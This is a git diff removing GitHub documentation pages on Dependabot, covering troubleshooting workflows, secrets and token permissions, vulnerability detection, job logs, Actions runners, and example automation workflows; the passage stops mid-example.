[AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies) diff --git a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions.md b/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions.md deleted file mode 100644 index 6b992b71bc91..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions.md +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: Troubleshooting Dependabot on GitHub Actions -intro: 'This article provides troubleshooting information for issues you may encounter when using {% data variables.product.prodname_dependabot %} with {% data variables.product.prodname_actions %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Actions - - Dependabot - - Version updates - - Security updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Troubleshoot Dependabot on Actions -redirect_from: - - /code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-on-github-actions ---- - -## Restrictions when {% data variables.product.prodname_dependabot %} triggers events - -{% data reusables.dependabot.working-with-actions-considerations %} - -For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request`, `pull_request_review`, `pull_request_review_comment`, `push`, `create`, `deployment`, and `deployment_status` events, these restrictions apply: - -* `GITHUB_TOKEN` has read-only permissions by default. -* Secrets are populated from {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are not available. - -For workflows initiated by {% data variables.product.prodname_dependabot %} (`github.actor == 'dependabot[bot]'`) using the `pull_request_target` event, if the base ref of the pull request was created by {% data variables.product.prodname_dependabot %} (`github.event.pull_request.user.login == 'dependabot[bot]'`), the `GITHUB_TOKEN` will be read-only and secrets are not available. - -These restrictions apply even if the workflow is re-run by a different actor. - -For more information, see [Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/). - -## Troubleshooting failures when {% data variables.product.prodname_dependabot %} triggers existing workflows - -{% data reusables.dependabot.dependabot-on-actions-troubleshooting-workflows %} - -Some troubleshooting advice is provided in this article. You can also see [AUTOTITLE](/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idpermissions). - -### Accessing secrets - -When a {% data variables.product.prodname_dependabot %} event triggers a workflow, the only secrets available to the workflow are {% data variables.product.prodname_dependabot %} secrets. {% data variables.product.prodname_actions %} secrets are **not available**. You must therefore store any secrets that are used by a workflow triggered by {% data variables.product.prodname_dependabot %} events as {% data variables.product.prodname_dependabot %} secrets. For more information, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/configuring-access-to-private-registries-for-dependabot#storing-credentials-for-dependabot-to-use). - -{% data variables.product.prodname_dependabot %} secrets are added to the `secrets` context and referenced using exactly the same syntax as secrets for {% data variables.product.prodname_actions %}. For more information, see [AUTOTITLE](/actions/security-guides/encrypted-secrets#using-encrypted-secrets-in-a-workflow). - -If you have a workflow that will be triggered by {% data variables.product.prodname_dependabot %} and also by other actors, the simplest solution is to store the token with the permissions required in an action and in a {% data variables.product.prodname_dependabot %} secret with identical names. Then the workflow can include a single call to these secrets. If the secret for {% data variables.product.prodname_dependabot %} has a different name, use conditions to specify the correct secrets for different actors to use. - -For examples that use conditions, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions). - -To access a private container registry on AWS with a user name and password, a workflow must include a secret for `username` and `password`. - -In this example, when {% data variables.product.prodname_dependabot %} triggers the workflow, the {% data variables.product.prodname_dependabot %} secrets with the names `READONLY_AWS_ACCESS_KEY_ID` and `READONLY_AWS_ACCESS_KEY` are used. If another actor triggers the workflow, the actions secrets with those names are used. - -```yaml copy -name: CI -on: - pull_request: - branches: [ main ] - -jobs: - build: - runs-on: ubuntu-latest - steps: - - name: Checkout repository - uses: {% data reusables.actions.action-checkout %} - - - name: Login to private container registry for dependencies - uses: docker/login-action@3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c - with: - registry: https://1234567890.dkr.ecr.us-east-1.amazonaws.com - username: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY_ID }}{% endraw %} - password: {% raw %}${{ secrets.READONLY_AWS_ACCESS_KEY }}{% endraw %} - - - name: Build the Docker image - run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) -``` - -### Changing `GITHUB_TOKEN` permissions - -By default, {% data variables.product.prodname_actions %} workflows triggered by {% data variables.product.prodname_dependabot %} get a `GITHUB_TOKEN` with read-only permissions. You can use the `permissions` key in your workflow to increase the access for the token: - -{% raw %} - -```yaml copy -name: CI -on: pull_request - -# Set the access for individual scopes, or use permissions: write-all -permissions: - pull-requests: write - issues: write - repository-projects: write - ... - -jobs: - ... -``` - -{% endraw %} - -For more information, see [AUTOTITLE](/actions/security-guides/automatic-token-authentication#modifying-the-permissions-for-the-github_token). - -## Manually re-running a workflow - -When you manually re-run a {% data variables.product.prodname_dependabot %} workflow, it will run with the same privileges as before even if the user who initiated the rerun has different privileges. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/re-running-workflows-and-jobs). diff --git a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md b/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md deleted file mode 100644 index 5073ffcfea98..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies.md +++ /dev/null @@ -1,98 +0,0 @@ ---- -title: Troubleshooting the detection of vulnerable dependencies -intro: 'If the dependency information reported by {% data variables.product.github %} is not what you expected, there are a number of points to consider, and various things you can check.' -shortTitle: Troubleshoot vulnerability detection -redirect_from: - - /github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies - - /code-security/supply-chain-security/troubleshooting-the-detection-of-vulnerable-dependencies - - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies - - /code-security/dependabot/working-with-dependabot/troubleshooting-the-detection-of-vulnerable-dependencies -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Troubleshooting - - Errors - - Security updates - - Dependencies - - Vulnerabilities - - CVEs - - Repositories ---- - -{% data reusables.dependabot.result-discrepancy %} - -## Why do some dependencies seem to be missing? - -{% data variables.product.prodname_dotcom %} generates and displays dependency data differently than other tools. Consequently, if you've been using another tool to identify dependencies you will almost certainly see different results. Consider the following: - -* {% data variables.product.prodname_advisory_database %} is one of the data sources that {% data variables.product.prodname_dotcom %} uses to identify vulnerable dependencies and malware. It's a free, curated database of security advisories for common package ecosystems on {% data variables.product.prodname_dotcom %}. It includes both data reported directly to {% data variables.product.prodname_dotcom %} from {% data variables.product.prodname_security_advisories %}, as well as official feeds and community sources. This data is reviewed and curated by {% data variables.product.prodname_dotcom %} to ensure that false or unactionable information is not shared with the development community. {% data reusables.security-advisory.link-browsing-advisory-db %} -* The dependency graph parses all known package manifest files in a user’s repository. For example, for npm it will parse the _package-lock.json_ file. It constructs a graph of all of the repository’s dependencies and public dependents. This happens when you enable the dependency graph and when anyone pushes to the default branch, and it includes commits that makes changes to a supported manifest format. For more information, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph) and [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph). -* {% data variables.product.prodname_dependabot %} scans any push, to the default branch, that contains a manifest file. When a new advisory is added, it scans all existing repositories and generates an alert for each repository that is affected. {% data variables.product.prodname_dependabot_alerts %} are aggregated at the repository level, rather than creating one alert per advisory. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts). -* {% data variables.product.prodname_dependabot_security_updates %} are triggered when you receive an alert about a vulnerable dependency in your repository. Where possible, {% data variables.product.prodname_dependabot %} creates a pull request in your repository to upgrade the vulnerable dependency to the minimum possible secure version needed to avoid the vulnerability. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates) and [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors). - - {% data variables.product.prodname_dependabot %} doesn't scan repositories on a schedule, but rather when something changes. For example, a scan is triggered when a new dependency is added ({% data variables.product.prodname_dotcom %} checks for this on every push), or when a new advisory is added to the database{% ifversion ghes %} and synchronized to {% data variables.product.prodname_dotcom %}{% endif %}. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts#detection-of-insecure-dependencies). - -## Do {% data variables.product.prodname_dependabot_alerts %} only relate to insecure dependencies in manifests and lockfiles? - -{% data variables.product.prodname_dependabot_alerts %} advise you about dependencies you should update, including transitive dependencies, where the version can be determined from a manifest or a lockfile. {% data variables.product.prodname_dependabot_security_updates %} only suggest a change where {% data variables.product.prodname_dependabot %} can directly "fix" the dependency, that is, when these are: -* Direct dependencies explicitly declared in a manifest or lockfile -* Transitive dependencies declared in a lockfile - -**Check:** Is the uncaught vulnerability for a component that's not specified in the repository's manifest or lockfile? - -## Why don't I get {% data variables.product.prodname_dependabot_alerts %} for some ecosystems? - -{% data variables.product.prodname_dependabot_alerts %} are supported for a set of ecosystems where we can provide high-quality, actionable data. Curated advisories in the {% data variables.product.prodname_advisory_database %}, the dependency graph, {% ifversion fpt or ghec %}{% data variables.product.prodname_dependabot %} security updates, {% endif %}and {% data variables.product.prodname_dependabot_alerts %} are provided for several ecosystems, including Java’s Maven, JavaScript’s npm and Yarn, .NET’s NuGet, Python’s pip, Ruby's RubyGems, and PHP’s Composer. For an overview of the package ecosystems that we support for {% data variables.product.prodname_dependabot_alerts %}, see [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/dependency-graph-supported-package-ecosystems#supported-package-ecosystems). - -It's worth noting that security advisories may exist for other ecosystems. The information in an unreviewed security advisory is provided by the maintainers of a particular repository. This data is not curated by {% data variables.product.prodname_dotcom %}. {% data reusables.security-advisory.link-browsing-advisory-db %} - -**Check:** Does the uncaught vulnerability apply to an unsupported ecosystem? - -## Does {% data variables.product.prodname_dependabot %} generate alerts for vulnerabilities that have been known for many years? - -The {% data variables.product.prodname_advisory_database %} was launched in November 2019, and initially back-filled to include advisories for security risks in the supported ecosystems, starting from 2017. When adding CVEs to the database, we prioritize curating newer CVEs, and CVEs affecting newer versions of software. - -Some information on older vulnerabilities is available, especially where these CVEs are particularly widespread, however some old vulnerabilities are not included in the {% data variables.product.prodname_advisory_database %}. If there's a specific old vulnerability that you need to be included in the database, contact {% data variables.contact.contact_support %}. - -**Check:** Does the uncaught vulnerability have a publish date earlier than 2017 in the National Vulnerability Database? - -## Why does {% data variables.product.prodname_advisory_database %} use a subset of published vulnerability data? - -Some third-party tools use uncurated CVE data that isn't checked or filtered by a human. This means that CVEs with tagging or severity errors, or other quality issues, will cause more frequent, more noisy, and less useful alerts. - -Since {% data variables.product.prodname_dependabot %} uses curated data in the {% data variables.product.prodname_advisory_database %}, the volume of alerts may be lower, but the alerts you do receive will be accurate and relevant. - -{% ifversion fpt or ghec %} - -## Does each insecure dependency generate a separate alert? - -When a dependency has multiple vulnerabilities, an alert is generated for each vulnerability at the level of advisory plus manifest. - -![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing two alerts from the same package with different manifests.](/assets/images/help/repository/dependabot-alerts-view.png) - -Legacy {% data variables.product.prodname_dependabot_alerts %} were grouped into a single aggregated alert with all the vulnerabilities for the same dependency. If you navigate to a link to a legacy {% data variables.product.prodname_dependabot %} alert, you will be redirected to the {% data variables.product.prodname_dependabot_alerts %} tab filtered to display vulnerabilities for that dependent package and manifest. - -![Screenshot of the {% data variables.product.prodname_dependabot_alerts %} tab showing the filtered alerts from navigating to a legacy {% data variables.product.prodname_dependabot %} alert.](/assets/images/help/repository/legacy-dependabot-alerts-view.png) - -The {% data variables.product.prodname_dependabot_alerts %} count in {% data variables.product.prodname_dotcom %} shows a total for the number of alerts, which is the number of vulnerabilities, not the number of dependencies. - -**Check:** If there is a discrepancy in the totals you are seeing, check that you are not comparing alert numbers with dependency numbers. Also check that you are viewing all alerts and not a subset of filtered alerts. -{% endif %} - -## Can Dependabot ignore specific dependencies? - -You can configure {% data variables.product.prodname_dependabot %} to ignore specific dependencies in the configuration file, which will prevent security and version updates for those dependencies. If you only wish to use security updates, you will need to override the default behavior with a configuration file. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates#overriding-the-default-behavior-with-a-configuration-file) to prevent version updates from being activated. For information about ignoring dependencies, see [Ignoring specific dependencies](/code-security/dependabot/dependabot-version-updates/controlling-dependencies-updated#ignoring-specific-dependencies). - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts) -* [AUTOTITLE](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts) -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository) -* [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain/troubleshooting-the-dependency-graph) -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-errors){% ifversion dependabot-on-actions-opt-in %} -* [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners){% endif %} diff --git a/content/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs.md b/content/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs.md deleted file mode 100644 index 746f75288cd6..000000000000 --- a/content/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Viewing Dependabot job logs -intro: 'To support debugging of {% data variables.product.prodname_dependabot %} pull requests, {% data variables.product.github %} provides logs of all {% data variables.product.prodname_dependabot %} jobs.' -shortTitle: Viewing Dependabot logs -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Dependabot - - Troubleshooting - - Errors - - Security updates - - Dependencies -redirect_from: - - /code-security/dependabot/working-with-dependabot/viewing-dependabot-job-logs ---- - -## About {% data variables.product.prodname_dependabot %} job logs - -Job logs are only available if {% data variables.product.prodname_dependabot_version_updates %} are enabled for the repository. - -Whenever a {% data variables.product.prodname_dependabot %} job runs, the details of the job are captured in the job logs list, which is accessible from the dependency graph. - -For each manifest file, the job logs record the most recent runs of {% data variables.product.prodname_dependabot %}, with each log entry displaying the job type, job ID, timestamp, and, where necessary, a link to the pull request(s) associated with the job. - -You may find that the log entry contains a short error message, which can be useful for debugging issues with a particular pull request or run. If you need to troubleshoot further, you can click **view logs** to access the full log files for a specific run. - -You will see the following job types recorded in the log list: -* **Version update** - refers to a {% data variables.product.prodname_dependabot_version_updates %} run. -* **Security update** - refers to a {% data variables.product.prodname_dependabot_security_updates %} run. -* **Rebase update** - refers to a run where {% data variables.product.prodname_dependabot %} has automatically rebased the pull request to resolve a conflict with the target branch. This update could apply to a pull request from a {% data variables.product.prodname_dependabot_version_updates %} job, or a {% data variables.product.prodname_dependabot_security_updates %} job. - -## Viewing {% data variables.product.prodname_dependabot %} job logs - -The {% data variables.product.prodname_dependabot %} job logs list is accessible from the dependency graph tab in your repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -{% data reusables.repositories.click-dependency-graph %} -{% data reusables.dependabot.click-dependabot-tab %} -1. To the right of the name of manifest file that you're interested in, click **Recent update jobs**. -1. Optionally, to see the full logs files for a particular job, click **view logs**. - - ![Screenshot of a Dependabot job log entry for the Gemfile package manager. A button, called "View logs", is highlighted in a dark orange outline.](/assets/images/help/dependabot/dependabot-job-logs.png) diff --git a/content/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners.md b/content/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners.md deleted file mode 100644 index 158dc3d9b1fd..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: About Dependabot on GitHub Actions runners -intro: '{% data variables.product.prodname_dotcom %} automatically runs the jobs that generate {% data variables.product.prodname_dependabot %} pull requests on {% data variables.product.prodname_actions %} if you have {% data variables.product.prodname_actions %} enabled for the repository.' -shortTitle: About Dependabot on Actions -product: '{% data reusables.gated-features.dependabot-on-actions %}' -versions: - feature: dependabot-on-actions-opt-in -type: how_to -topics: - - Dependabot - - Security updates - - Version updates - - Actions - - Dependencies - - Repositories ---- - -## About {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners - -{% data reusables.dependabot.dependabot-updates-and-actions %} - -{% data reusables.dependabot.dependabot-on-actions-future-note %} - -Using {% data variables.product.prodname_actions %} runners allows you to more easily identify {% data variables.product.prodname_dependabot %} job errors and manually detect and troubleshoot failed runs. You can also integrate {% data variables.product.prodname_dependabot %} into your CI/CD pipelines by using {% data variables.product.prodname_actions %} APIs and webhooks to detect {% data variables.product.prodname_dependabot %} job status such as failed runs, and perform downstream processing. For more information, see [AUTOTITLE](/rest/actions) and [AUTOTITLE](/webhooks/webhook-events-and-payloads). - -> [!NOTE] -> Running {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_dotcom %}-hosted and self-hosted runners **does not** count towards your included {% data variables.product.prodname_actions %} minutes. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions). - -You can run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} using: -* {% data variables.product.prodname_dotcom %}-hosted runners -* {% data variables.actions.hosted_runners_caps %}. These runners are {% data variables.product.prodname_dotcom %}-hosted, with advanced features, such as more RAM, CPU, and disk space. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners). -* Self-hosted runners - -{% data reusables.dependabot.vnet-arc-note %} - -Enabling {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} may increase the number of concurrent jobs run in your account. If required, customers on enterprise plans can request a higher limit for concurrent jobs. For more information, contact us through the {% data variables.contact.contact_support_portal %}, or contact your sales representative. - -If you are transitioning to using {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners and you restrict access to your organization's or repository's private resources, you may need to update your list of allowed IP addresses. For example, if you currently limit access to your private resources to the IP addresses that {% data variables.product.prodname_dependabot %} uses, you should update your allowlist to use the {% data variables.product.prodname_dotcom %}-hosted runners IP addresses sourced from the meta API endpoint. For more information, see [AUTOTITLE](/rest/meta). - -{% data reusables.dependabot.dependabot-on-actions-enterprise-policy-condition %} - -> [!NOTE] -> {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} relies on the `ubuntu-latest` label to select the appropriate runner. To ensure {% data variables.product.prodname_dependabot %} runs on {% data variables.product.github %}-hosted runners, you should not use the label `ubuntu-latest` for self-hosted runners. - -## Enabling or disabling {% data variables.product.prodname_dependabot %} on {% data variables.product.github %}-hosted runners - -This section only applies to standard {% data variables.product.github %}-hosted runners, not larger runners. - -New repositories that you create in your user account or in your organization will automatically be configured to run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} if any of the following is true: -* {% data variables.product.prodname_dependabot %} is installed and enabled, and {% data variables.product.prodname_actions %} is enabled and in use. -* The "{% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners" setting for your organization is enabled. - -For existing repositories, you can opt in to run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} as follows. - -Future releases of {% data variables.product.github %} will remove the ability to disable running {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %}. - -If you restrict access to your organization's or repository's private resources, you may need to update your list of allowed IP addresses prior to enabling {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners. You can update your IP allow list to use the {% data variables.product.prodname_dotcom %}-hosted runners IP addresses (instead of the {% data variables.product.prodname_dependabot %} IP addresses), sourced from the [meta](/rest/meta) REST API endpoint. - ->[!WARNING] You should not rely on the {% data variables.product.prodname_actions %} IP addresses for authentication to private registries. These {% data variables.product.prodname_actions %} addresses are not only used by {% data variables.product.prodname_dotcom %}, and should not be trusted for authentication. Instead, use a self-hosted runner to ensure greater control over your network access. For more information, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners). - -Note, disabling and re-enabling the "{% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners" settings will not trigger a new {% data variables.product.prodname_dependabot %} run. - -### Enabling or disabling for your repository - -You can manage {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} for your public{% ifversion ghec %}, private or internal{% else %} or private{% endif %} repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Dependabot", to the right of "{% data variables.product.prodname_dependabot %} on Actions runners", click **Enable** to enable the feature or **Disable** to disable it. - -### Enabling or disabling for your organization - -You can enable {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} for all existing repositories in an organization. - -Only repositories with the following configuration will be updated to run {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} the next time a {% data variables.product.prodname_dependabot %} job is triggered. - - * {% data variables.product.prodname_dependabot %} is enabled in the repository. - * {% data variables.product.prodname_actions %} is enabled in the repository. - -If a repository in your organization has {% data variables.product.prodname_dependabot %} enabled but {% data variables.product.prodname_actions %} disabled, {% data variables.product.prodname_dependabot %} will not run on {% data variables.product.prodname_actions %}, but will continue to run using the built-in {% data variables.product.prodname_dependabot %} application. - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.security-configurations.display-global-settings %} -1. Under "Dependabot", select "{% data variables.product.prodname_dependabot %} on Actions runners" to enable the feature or deselect to disable it. - -For more information, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/configuring-global-security-settings-for-your-organization#enabling-dependency-updates-on-github-actions-runners). - -## Enabling or disabling {% data variables.product.prodname_dependabot %} on {% data variables.actions.hosted_runners %} - -If you run into {% data variables.product.prodname_dependabot %} timeouts and out-of-memory errors, you may want to use {% data variables.actions.hosted_runners %}, as you can configure these runners to have more resources. - -> [!NOTE] You can only enable {% data variables.actions.hosted_runners %} for {% data variables.product.prodname_dependabot %} _at the organization level_. {% data variables.product.prodname_dotcom %} will bill your organization at the regular Actions runner pricing. For more information, see [AUTOTITLE](/billing/managing-billing-for-github-actions/about-billing-for-github-actions#per-minute-rates). - -1. Add a {% data variables.actions.hosted_runner %} to your organization and ensure the name specified is `dependabot`. For more information, see [AUTOTITLE](/actions/using-github-hosted-runners/about-larger-runners/managing-larger-runners#adding-a-larger-runner-to-an-organization). -1. Opt in the organization to self-hosted runners. For more information, see [AUTOTITLE](/code-security/dependabot/maintain-dependencies/managing-dependabot-on-self-hosted-runners#enabling-or-disabling-for-your-organization). This step is required, as it ensures that future {% data variables.product.prodname_dependabot %} jobs will run on the larger {% data variables.product.prodname_dotcom %}-hosted runner that has the `dependabot` name. - -## Managing {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} runners - -When a {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_actions %} job is run, you can review the workflow run history directly from the Dependabot job logs. For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/viewing-dependabot-job-logs). - -You can also navigate to a {% data variables.product.prodname_dependabot %} workflow run from the **Actions** tab in a repository. For more information, see [AUTOTITLE](/actions/monitoring-and-troubleshooting-workflows/viewing-workflow-run-history). - -To re-run a {% data variables.product.prodname_dependabot_version_updates %} or {% data variables.product.prodname_dependabot_security_updates %} job, use the appropriate procedure below. You cannot re-run a {% data variables.product.prodname_dependabot %} job on {% data variables.product.prodname_actions %} as you would for other {% data variables.product.prodname_actions %} workflows and jobs, that is, by using the **Actions** tab in a repository. You cannot view usage data for {% data variables.product.prodname_dependabot_updates %} workflows and jobs in your organization's {% data variables.product.prodname_actions %} usage metrics. - -### Re-running a {% data variables.product.prodname_dependabot_version_updates %} job - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.accessing-repository-graphs %} -{% data reusables.repositories.click-dependency-graph %} -{% data reusables.dependabot.click-dependabot-tab %} -1. To the right of the name of manifest file that you're interested in, click **Recent update jobs**. -1. To the right of the affected manifest file, click **Check for updates** to re-run a {% data variables.product.prodname_dependabot_version_updates %} job and check for new updates to dependencies for that ecosystem. - -### Re-running a {% data variables.product.prodname_dependabot_security_updates %} job - -{% data reusables.repositories.navigate-to-repo %} -1. Under your repository name, click **{% octicon "shield-lock" aria-hidden="true" %} Security**. -1. In the left sidebar, under "Vulnerability alerts", click **{% data variables.product.prodname_dependabot %}**. -1. Under "{% data variables.product.prodname_dependabot %}", click the alert you want to view. -1. In the section displaying the error details for the alert, click **Try again** to re-run the {% data variables.product.prodname_dependabot_security_updates %} job. - -## Further reading - -* [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions) diff --git a/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md b/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md deleted file mode 100644 index f076be28514c..000000000000 --- a/content/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions.md +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: Automating Dependabot with GitHub Actions -intro: 'Examples of how you can use {% data variables.product.prodname_actions %} to automate common {% data variables.product.prodname_dependabot %} related tasks.' -permissions: '{% data reusables.permissions.dependabot-various-tasks %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -type: how_to -topics: - - Actions - - Dependabot - - Version updates - - Security updates - - Repositories - - Dependencies - - Pull requests -shortTitle: Use Dependabot with Actions -redirect_from: - - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/automating-dependabot-with-github-actions ---- - -{% ifversion dependabot-on-actions-opt-in %} - ->[!NOTE] This article explains how to automate {% data variables.product.prodname_dependabot %}-related tasks using {% data variables.product.prodname_actions %}. For more information about running {% data variables.product.prodname_dependabot_updates %} using {% data variables.product.prodname_actions %}, see [AUTOTITLE](/code-security/dependabot/working-with-dependabot/about-dependabot-on-github-actions-runners) instead. -{% endif %} - -You can use {% data variables.product.prodname_actions %} to perform automated tasks when {% data variables.product.prodname_dependabot %} creates pull requests to update dependencies. You may find this useful if you want to: - -* Ensure that {% data variables.product.prodname_dependabot %} pull requests (version updates and security updates) are created with the right data for your work processes, including labels, names, and reviewers. - -* Trigger workflows to send {% data variables.product.prodname_dependabot %} pull requests (version updates and security updates) into your review process or to merge automatically. - -{% data reusables.dependabot.enterprise-enable-dependabot %} - -## About {% data variables.product.prodname_dependabot %} and {% data variables.product.prodname_actions %} - -{% data variables.product.prodname_dependabot %} creates pull requests to keep your dependencies up to date. You can use {% data variables.product.prodname_actions %} to perform automated tasks when these pull requests are created. For example, fetch additional artifacts, add labels, run tests, or otherwise modify the pull request. - -{% data reusables.dependabot.working-with-actions-considerations %} For more information, see [AUTOTITLE](/code-security/dependabot/troubleshooting-dependabot/troubleshooting-dependabot-on-github-actions). - -Here are several common scenarios for pull requests that can be automated using {% data variables.product.prodname_actions %}. - -## Fetching metadata about a pull request - -Most automation requires you to know information about the contents of the pull request: what the dependency name was, if it's a production dependency, and if it's a major, minor, or patch update. You can use an action to retrieve information about the dependencies being updated by a pull request generated by {% data variables.product.prodname_dependabot %}. - -Example: - -{% raw %} - -```yaml copy -name: Dependabot fetch metadata -on: pull_request - -permissions: - pull-requests: write - issues: write - repository-projects: write - -jobs: - dependabot: - runs-on: ubuntu-latest - if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'owner/my_repo' - steps: - - name: Dependabot metadata - id: metadata - uses: dependabot/fetch-metadata@d7267f607e9d3fb96fc2fbe83e0af444713e90b7 - with: - github-token: "${{ secrets.GITHUB_TOKEN }}" - # The following properties are now available: - # - steps.metadata.outputs.dependency-names - # - steps.metadata.outputs.dependency-type - # - steps.metadata.outputs.update-type -``` - -{% endraw %} - -For more information, see the [`dependabot/fetch-metadata`](https://github.com/dependabot/fetch-metadata) repository. - -## Labeling a pull request - -If you have other automation or triage workflows based on {% data variables.product.github %} labels, you can configure an action to assign labels based on the metadata provided. - -Example that flags all production dependency updates with a label: - -{% raw %} - -```yaml copy -name: Dependabot auto-label -on: pull_request - -permissions: - pull-requests: write - issues: write - repository-projects: write - -jobs: - dependabot: - runs-on: ubuntu-latest - if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'owner/my_repo' - steps: - - name: Dependabot metadata - id: metadata - uses: dependabot/fetch-metadata@d7267f607e9d3fb96fc2fbe83e0af444713e90b7 - with: - github-token: "${{ secrets.GITHUB_TOKEN }}" - - name: Add a label for all production dependencies - if: steps.metadata.outputs.dependency-type == 'direct:production' - run: gh pr edit "$PR_URL" --add-label "production" - env: - PR_URL: ${{github.event.pull_request.html_url}} -``` - -{% endraw %} - -## Automatically approving a pull request - -You can automatically approve {% data variables.product.prodname_dependabot %} pull requests by using the {% data variables.product.prodname_cli %} in a workflow. - -Example: - -{% raw %} - -```yaml copy -name: Dependabot auto-approve -on: pull_request - -permissions: - pull-requests: write - -jobs: - dependabot: - runs-on: ubuntu-latest - if: github.event.pull_request.user.login == 'dependabot[bot]' && github.repository == 'owner/my_repo' - steps: - - name: Dependabot metadata - id: metadata - uses: 